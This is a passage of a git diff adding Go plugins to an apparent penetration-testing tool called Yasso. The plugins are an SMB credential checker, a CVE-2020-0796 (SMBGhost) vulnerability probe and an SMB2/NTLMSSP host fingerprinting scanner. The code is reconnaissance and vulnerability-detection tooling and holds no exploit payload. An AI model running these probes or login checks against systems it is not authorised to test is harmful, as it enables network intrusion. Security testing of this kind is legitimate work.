} else if hex.EncodeToString(reply[0:1]) != "4e" {
|
||||
return false
|
||||
}
|
||||
// 这里解析出字符串
|
||||
banner := byteToString(reply)
|
||||
logger.Success(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
|
||||
return true
|
||||
}
|
||||
|
||||
func byteToString(p []byte) string {
|
||||
var w []string
|
||||
var res string
|
||||
for i := 0; i < len(p); i++ {
|
||||
if p[i] > 32 && p[i] < 127 {
|
||||
w = append(w, string(p[i]))
|
||||
continue
|
||||
}
|
||||
asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
|
||||
w = append(w, asciiTo16)
|
||||
}
|
||||
res = strings.Join(w, "")
|
||||
if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
|
||||
s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
|
||||
return s[0]
|
||||
}
|
||||
return res
|
||||
}
|
||||
46
core/plugin/smb.go
Normal file
46
core/plugin/smb.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"errors"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SmbConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
signal := make(chan struct{})
|
||||
var (
|
||||
flag bool
|
||||
err error
|
||||
)
|
||||
go func() {
|
||||
flag, err = dialSmbTimeOut(info, user, pass, signal)
|
||||
}()
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(1 * time.Second):
|
||||
return false, errors.New("smb conn time out")
|
||||
}
|
||||
}
|
||||
|
||||
func dialSmbTimeOut(info config.ServiceConn, user, pass string, signal chan struct{}) (bool, error) {
|
||||
var flag = false
|
||||
options := smb.Options{
|
||||
Host: info.Hostname,
|
||||
Port: 445,
|
||||
User: user,
|
||||
Password: pass,
|
||||
Domain: info.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
}
|
||||
120
core/plugin/smbghost.go
Normal file
120
core/plugin/smbghost.go
Normal file
@@ -0,0 +1,120 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
pkt = "\x00" + // session
|
||||
"\x00\x00\xc0" + // legth
|
||||
|
||||
"\xfeSMB@\x00" + // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
func SmbGhostConn(info config.ServiceConn) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
} else {
|
||||
defer conn.Close()
|
||||
conn.Write([]byte(pkt))
|
||||
buff := make([]byte, 1024)
|
||||
err = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil {
|
||||
//Println(err.Error()) // Profound analysis
|
||||
}
|
||||
|
||||
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
|
||||
logger.Success(fmt.Sprintf("%s Find CVE-2020-0796", info.Hostname))
|
||||
return true
|
||||
} else {
|
||||
//Println(ip + " Not Vulnerable")
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
596
core/plugin/smbscan.go
Normal file
596
core/plugin/smbscan.go
Normal file
@@ -0,0 +1,596 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
crand "crypto/rand"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SmbScanConn(host string, port int, timeout time.Duration) (bool, string) {
|
||||
res, _, err := smb2(host, port, timeout)
|
||||
if err != nil || res["ntlmssp.Version"] == "" {
|
||||
return false, ""
|
||||
} else {
|
||||
banner := fmt.Sprintf("[%s]\n[%s (version) || %s (FQDN Name) ||%s (Domain Name) ||%s (Netbios Name)]",
|
||||
fmt.Sprintf("%s:%v", host, port),
|
||||
res["ntlmssp.Version"],
|
||||
res["ntlmssp.DNSComputer"],
|
||||
res["ntlmssp.TargetName"],
|
||||
res["ntlmssp.NetbiosComputer"],
|
||||
)
|
||||
logger.Success(banner)
|
||||
return true, banner
|
||||
}
|
||||
}
|
||||
|
||||
// -------------smb--------------------------------
|
||||
// smb2 from https://github.com/RumbleDiscovery/rumble-tools/blob/main/cmd/rumble-smb2-sessions/main.go
|
||||
func smb2(host string, port int, timeout time.Duration) (map[string]string, []byte, error) {
|
||||
// SMB1NegotiateProtocolRequest is a SMB1 request that advertises support for SMB2
|
||||
var smb1NegotiateProtocolRequest = []byte{
|
||||
0x00, 0x00, 0x00, 0xd4, 0xff, 0x53, 0x4d, 0x42,
|
||||
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x43, 0xc8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x02,
|
||||
0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
|
||||
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52,
|
||||
0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
|
||||
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46,
|
||||
0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
|
||||
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00,
|
||||
0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
|
||||
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
|
||||
0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
|
||||
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31,
|
||||
0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
|
||||
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x44,
|
||||
0x4f, 0x53, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
|
||||
0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4c, 0x41,
|
||||
0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00,
|
||||
0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02,
|
||||
0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
|
||||
0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e,
|
||||
0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31,
|
||||
0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32,
|
||||
0x2e, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x4d,
|
||||
0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00,
|
||||
}
|
||||
|
||||
info := make(map[string]string)
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
err = SMBSendData(conn, smb1NegotiateProtocolRequest, timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
data, err := SMBReadFrame(conn, timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
err = SMBSendData(conn, SMB2NegotiateProtocolRequest(host), timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
data, _ = SMBReadFrame(conn, timeout)
|
||||
SMB2ExtractFieldsFromNegotiateReply(data, info)
|
||||
|
||||
// SMB2SessionSetupNTLMSSP is a SMB2 SessionSetup NTLMSSP request
|
||||
var smb2SessionSetupNTLMSSP = []byte{
|
||||
0x00, 0x00, 0x00, 0xa2, 0xfe, 0x53, 0x4d, 0x42,
|
||||
0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x01,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x58, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x60, 0x48, 0x06, 0x06,
|
||||
0x2b, 0x06, 0x01, 0x05, 0x05, 0x02, 0xa0, 0x3e,
|
||||
0x30, 0x3c, 0xa0, 0x0e, 0x30, 0x0c, 0x06, 0x0a,
|
||||
0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
|
||||
0x02, 0x0a, 0xa2, 0x2a, 0x04, 0x28, 0x4e, 0x54,
|
||||
0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 0x00, 0x00,
|
||||
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x0a, 0x00,
|
||||
0xba, 0x47, 0x00, 0x00, 0x00, 0x0f,
|
||||
}
|
||||
|
||||
setup := make([]byte, len(smb2SessionSetupNTLMSSP))
|
||||
copy(setup, smb2SessionSetupNTLMSSP)
|
||||
|
||||
// Set the ProcessID
|
||||
binary.LittleEndian.PutUint16(setup[4+32:], 0xfeff)
|
||||
|
||||
err = SMBSendData(conn, setup, timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
data, err = SMBReadFrame(conn, timeout)
|
||||
SMB2ExtractSIDFromSessionSetupReply(data, info)
|
||||
SMBExtractFieldsFromSecurityBlob(data, info)
|
||||
|
||||
return info, data, err
|
||||
}
|
||||
|
||||
// RandomBytes generates a random byte sequence of the requested length
|
||||
func RandomBytes(numBytes int) []byte {
|
||||
randBytes := make([]byte, numBytes)
|
||||
err := binary.Read(crand.Reader, binary.BigEndian, &randBytes)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return randBytes
|
||||
}
|
||||
|
||||
// SMBReadFrame reads the netBios header then the full response
|
||||
func SMBReadFrame(conn net.Conn, t time.Duration) ([]byte, error) {
|
||||
timeout := time.Now().Add(time.Duration(t) * time.Second)
|
||||
res := []byte{}
|
||||
nbh := make([]byte, 4)
|
||||
|
||||
err := conn.SetReadDeadline(timeout)
|
||||
if err != nil {
|
||||
return res, err
|
||||
}
|
||||
|
||||
// Read the NetBIOS header
|
||||
n, err := conn.Read(nbh[:])
|
||||
if err != nil {
|
||||
// Return if EOF is reached
|
||||
if err == io.EOF {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// Return if timeout is reached
|
||||
if err, ok := err.(net.Error); ok && err.Timeout() {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// If we have data and received an error, it was probably a reset
|
||||
if len(res) > 0 {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
return res, err
|
||||
}
|
||||
|
||||
if n != 4 {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
res = append(res[:], nbh[:n]...)
|
||||
dlen := binary.BigEndian.Uint32(nbh[:]) & 0x00ffffff
|
||||
buf := make([]byte, dlen)
|
||||
n, err = conn.Read(buf[:])
|
||||
if err != nil {
|
||||
// Return if EOF is reached
|
||||
if err == io.EOF {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// Return if timeout is reached
|
||||
if err, ok := err.(net.Error); ok && err.Timeout() {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// If we have data and received an error, it was probably a reset
|
||||
if len(res) > 0 {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
return res, err
|
||||
}
|
||||
res = append(res[:], buf[:n]...)
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// SMB2ExtractFieldsFromNegotiateReply extracts useful fields from the SMB2 negotiate response
|
||||
func SMB2ExtractFieldsFromNegotiateReply(blob []byte, info map[string]string) {
|
||||
|
||||
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
|
||||
if smbOffset < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
data := blob[smbOffset:]
|
||||
|
||||
// Basic sanity check
|
||||
if len(data) < (64 + 8 + 16 + 36) {
|
||||
return
|
||||
}
|
||||
|
||||
switch binary.LittleEndian.Uint16(data[64+2:]) {
|
||||
case 0:
|
||||
info["smb.Signing"] = "disabled"
|
||||
case 1:
|
||||
info["smb.Signing"] = "enabled"
|
||||
case 2, 3:
|
||||
info["smb.Signing"] = "required"
|
||||
}
|
||||
|
||||
info["smb.Dialect"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint16(data[64+4:]))
|
||||
//info["smb.GUID"] = uuid.FromBytesOrNil(data[64+8 : 64+8+16]).String()
|
||||
info["smb.Capabilities"] = fmt.Sprintf("0x%.8x", binary.LittleEndian.Uint32(data[64+8+16:]))
|
||||
|
||||
negCtxCount := int(binary.LittleEndian.Uint16(data[64+6:]))
|
||||
negCtxOffset := int(binary.LittleEndian.Uint32(data[64+8+16+36:]))
|
||||
if negCtxCount == 0 || negCtxOffset == 0 || negCtxOffset+(negCtxCount*8) > len(data) {
|
||||
return
|
||||
}
|
||||
|
||||
negCtxData := data[negCtxOffset:]
|
||||
idx := 0
|
||||
for {
|
||||
if idx+8 > len(negCtxData) {
|
||||
break
|
||||
}
|
||||
negType := int(binary.LittleEndian.Uint16(negCtxData[idx:]))
|
||||
negLen := int(binary.LittleEndian.Uint16(negCtxData[idx+2:]))
|
||||
idx += 8
|
||||
|
||||
if idx+negLen > len(negCtxData) {
|
||||
break
|
||||
}
|
||||
negData := negCtxData[idx : idx+negLen]
|
||||
|
||||
SMB2ParseNegotiateContext(negType, negData, info)
|
||||
|
||||
// Move the index to the next context
|
||||
idx += negLen
|
||||
// Negotiate Contexts are aligned on 64-bit boundaries
|
||||
for idx%8 != 0 {
|
||||
idx++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// SMB2ParseNegotiateContext decodes fields from the SMB2 Negotiate Context values
|
||||
func SMB2ParseNegotiateContext(t int, data []byte, info map[string]string) {
|
||||
switch t {
|
||||
case 1:
|
||||
// SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
if len(data) < 6 {
|
||||
return
|
||||
}
|
||||
hashCount := int(binary.LittleEndian.Uint16(data[:]))
|
||||
// MUST only be one in responses
|
||||
if hashCount != 1 {
|
||||
return
|
||||
}
|
||||
hashSaltLen := int(binary.LittleEndian.Uint16(data[2:]))
|
||||
hashType := int(binary.LittleEndian.Uint16(data[4:]))
|
||||
hashName := "sha512"
|
||||
if hashType != 1 {
|
||||
hashName = fmt.Sprintf("unknown-%d", hashType)
|
||||
}
|
||||
info["smb.HashAlg"] = hashName
|
||||
info["smb.HashSaltLen"] = fmt.Sprintf("%d", hashSaltLen)
|
||||
|
||||
case 2:
|
||||
// SMB2_ENCRYPTION_CAPABILITIES
|
||||
if len(data) < 4 {
|
||||
return
|
||||
}
|
||||
cipherCount := int(binary.LittleEndian.Uint16(data[:]))
|
||||
if len(data) < 2+(2*cipherCount) {
|
||||
return
|
||||
}
|
||||
// MUST only be one in responses
|
||||
if cipherCount != 1 {
|
||||
return
|
||||
}
|
||||
cipherList := []string{}
|
||||
for i := 0; i < cipherCount; i++ {
|
||||
cipherID := int(binary.LittleEndian.Uint16(data[2+(i*2):]))
|
||||
cipherName := ""
|
||||
switch cipherID {
|
||||
case 1:
|
||||
cipherName = "aes-128-ccm"
|
||||
case 2:
|
||||
cipherName = "aes-128-gcm"
|
||||
default:
|
||||
cipherName = fmt.Sprintf("unknown-%d", cipherID)
|
||||
}
|
||||
cipherList = append(cipherList, cipherName)
|
||||
}
|
||||
|
||||
info["smb.CipherAlg"] = strings.Join(cipherList, "\t")
|
||||
|
||||
case 3:
|
||||
// SMB2_COMPRESSION_CAPABILITIES
|
||||
if len(data) < 10 {
|
||||
return
|
||||
}
|
||||
compCount := int(binary.LittleEndian.Uint16(data[:]))
|
||||
if len(data) < 2+2+4+(2*compCount) {
|
||||
return
|
||||
}
|
||||
// MUST only be one in responses
|
||||
if compCount != 1 {
|
||||
return
|
||||
}
|
||||
compList := []string{}
|
||||
for i := 0; i < compCount; i++ {
|
||||
compID := int(binary.LittleEndian.Uint16(data[8+(i*2):]))
|
||||
compName := ""
|
||||
switch compID {
|
||||
case 0:
|
||||
compName = "none"
|
||||
case 1:
|
||||
compName = "lznt1"
|
||||
case 2:
|
||||
compName = "lz77"
|
||||
case 3:
|
||||
compName = "lz77+huff"
|
||||
case 4:
|
||||
compName = "patternv1"
|
||||
default:
|
||||
compName = fmt.Sprintf("unknown-%d", compID)
|
||||
}
|
||||
compList = append(compList, compName)
|
||||
}
|
||||
info["smb.CompressionFlags"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint32(data[4:]))
|
||||
info["smb.CompressionAlg"] = strings.Join(compList, "\t")
|
||||
}
|
||||
}
|
||||
|
||||
// SMBSendData writes a SMB request to a socket
|
||||
func SMBSendData(conn net.Conn, data []byte, timeout time.Duration) error {
|
||||
err := conn.SetWriteDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
n, err := conn.Write(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_ = n
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SMB2ExtractSIDFromSessionSetupReply tries to extract the SessionID and Signature from a SMB2 reply
|
||||
func SMB2ExtractSIDFromSessionSetupReply(blob []byte, info map[string]string) {
|
||||
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
|
||||
if smbOffset < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
smbData := blob[smbOffset:]
|
||||
if len(smbData) < 48 {
|
||||
return
|
||||
}
|
||||
|
||||
status := binary.LittleEndian.Uint32(smbData[8:])
|
||||
info["smb.Status"] = fmt.Sprintf("0x%.8x", status)
|
||||
|
||||
sessID := binary.LittleEndian.Uint64(smbData[40:])
|
||||
info["smb.SessionID"] = fmt.Sprintf("0x%.16x", sessID)
|
||||
|
||||
if len(smbData) >= 64 {
|
||||
sigData := hex.EncodeToString(smbData[48:64])
|
||||
if sigData != "00000000000000000000000000000000" {
|
||||
info["smb.Signature"] = sigData
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// SMBExtractValueFromOffset peels a field out of a SMB buffer
|
||||
func SMBExtractValueFromOffset(blob []byte, idx int) ([]byte, int, error) {
|
||||
res := []byte{}
|
||||
|
||||
if len(blob) < (idx + 6) {
|
||||
return res, idx, fmt.Errorf("data truncated")
|
||||
}
|
||||
|
||||
len1 := binary.LittleEndian.Uint16(blob[idx:])
|
||||
idx += 2
|
||||
|
||||
// len2 := binary.LittleEndian.Uint16(blob[idx:])
|
||||
idx += 2
|
||||
|
||||
off := binary.LittleEndian.Uint32(blob[idx:])
|
||||
idx += 4
|
||||
|
||||
// Allow zero length values
|
||||
if len1 == 0 {
|
||||
return res, idx, nil
|
||||
}
|
||||
|
||||
if len(blob) < int(off+uint32(len1)) {
|
||||
return res, idx, fmt.Errorf("data value truncated")
|
||||
}
|
||||
|
||||
res = append(res, blob[off:off+uint32(len1)]...)
|
||||
return res, idx, nil
|
||||
}
|
||||
|
||||
// SMBExtractFieldsFromSecurityBlob extracts fields from the NTLMSSP response
|
||||
func SMBExtractFieldsFromSecurityBlob(blob []byte, info map[string]string) {
|
||||
var err error
|
||||
|
||||
ntlmsspOffset := bytes.Index(blob, []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00, 0x02, 0x00, 0x00, 0x00})
|
||||
if ntlmsspOffset < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
data := blob[ntlmsspOffset:]
|
||||
|
||||
// Basic sanity check
|
||||
if len(data) < (12 + 6 + 12 + 8 + 6 + 8) {
|
||||
return
|
||||
}
|
||||
|
||||
idx := 12
|
||||
|
||||
targetName, idx, err := SMBExtractValueFromOffset(data, idx)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Negotiate Flags
|
||||
negotiateFlags := binary.LittleEndian.Uint32(data[idx:])
|
||||
info["ntlmssp.NegotiationFlags"] = fmt.Sprintf("0x%.8x", negotiateFlags)
|
||||
idx += 4
|
||||
|
||||
// NTLM Server Challenge
|
||||
idx += 8
|
||||
|
||||
// Reserved
|
||||
idx += 8
|
||||
|
||||
// Target Info
|
||||
targetInfo, idx, err := SMBExtractValueFromOffset(data, idx)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Version
|
||||
versionMajor := uint8(data[idx])
|
||||
idx++
|
||||
|
||||
versionMinor := uint8(data[idx])
|
||||
idx++
|
||||
|
||||
versionBuild := binary.LittleEndian.Uint16(data[idx:])
|
||||
idx += 2
|
||||
|
||||
ntlmRevision := binary.BigEndian.Uint32(data[idx:])
|
||||
|
||||
// macOS reverses the endian order of this field for some reason
|
||||
if ntlmRevision == 251658240 {
|
||||
ntlmRevision = binary.LittleEndian.Uint32(data[idx:])
|
||||
}
|
||||
|
||||
info["ntlmssp.Version"] = fmt.Sprintf("%d.%d.%d", versionMajor, versionMinor, versionBuild)
|
||||
info["ntlmssp.NTLMRevision"] = fmt.Sprintf("%d", ntlmRevision)
|
||||
info["ntlmssp.TargetName"] = TrimName(string(targetName))
|
||||
|
||||
idx = 0
|
||||
for {
|
||||
if idx+4 > len(targetInfo) {
|
||||
break
|
||||
}
|
||||
|
||||
attrType := binary.LittleEndian.Uint16(targetInfo[idx:])
|
||||
idx += 2
|
||||
|
||||
// End of List
|
||||
if attrType == 0 {
|
||||
break
|
||||
}
|
||||
|
||||
attrLen := binary.LittleEndian.Uint16(targetInfo[idx:])
|
||||
idx += 2
|
||||
|
||||
if idx+int(attrLen) > len(targetInfo) {
|
||||
// log.Printf("too short: %d/%d", idx+int(attrLen), len(targetInfo))
|
||||
break
|
||||
}
|
||||
|
||||
attrVal := targetInfo[idx : idx+int(attrLen)]
|
||||
idx += int(attrLen)
|
||||
|
||||
switch attrType {
|
||||
case 1:
|
||||
info["ntlmssp.NetbiosComputer"] = TrimName(string(attrVal))
|
||||
case 2:
|
||||
info["ntlmssp.NetbiosDomain"] = TrimName(string(attrVal))
|
||||
case 3:
|
||||
info["ntlmssp.DNSComputer"] = TrimName(string(attrVal))
|
||||
case 4:
|
||||
info["ntlmssp.DNSDomain"] = TrimName(string(attrVal))
|
||||
case 7:
|
||||
ts := binary.LittleEndian.Uint64(attrVal[:])
|
||||
info["ntlmssp.Timestamp"] = fmt.Sprintf("0x%.16x", ts)
|
||||
|
||||
}
|
||||
|
||||
// End of List
|
||||
if attrType == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TrimName removes null bytes and trims leading and trailing spaces from a string
|
||||
func TrimName(name string) string {
|
||||
return strings.TrimSpace(strings.Replace(name, "\x00", "", -1))
|
||||
}
|
||||
|
||||
// SMB2NegotiateProtocolRequest generates a new Negotiate request with the specified target name
|
||||
func SMB2NegotiateProtocolRequest(dst string) []byte {
|
||||
|
||||
base := []byte{
|
||||
0xfe, 0x53, 0x4d, 0x42,
|
||||
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x05, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
// Client GUID (16)
|
||||
base = append(base[:], RandomBytes(16)...)
|
||||
|
||||
base = append(base[:], []byte{
|
||||
0x70, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
|
||||
0x02, 0x02, 0x10, 0x02, 0x00, 0x03, 0x02, 0x03,
|
||||
0x11, 0x03, 0x00, 0x00, 0x01, 0x00, 0x26, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00,
|
||||
0x01, 0x00,
|
||||
}...)
|
||||
|
||||
// SHA-512 Salt (32)
|
||||
base = append(base[:], RandomBytes(32)...)
|
||||
|
||||
base = append(base[:], []byte{
|
||||
0x00, 0x00, 0x02, 0x00, 0x06, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0e, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00,
|
||||
}...)
|
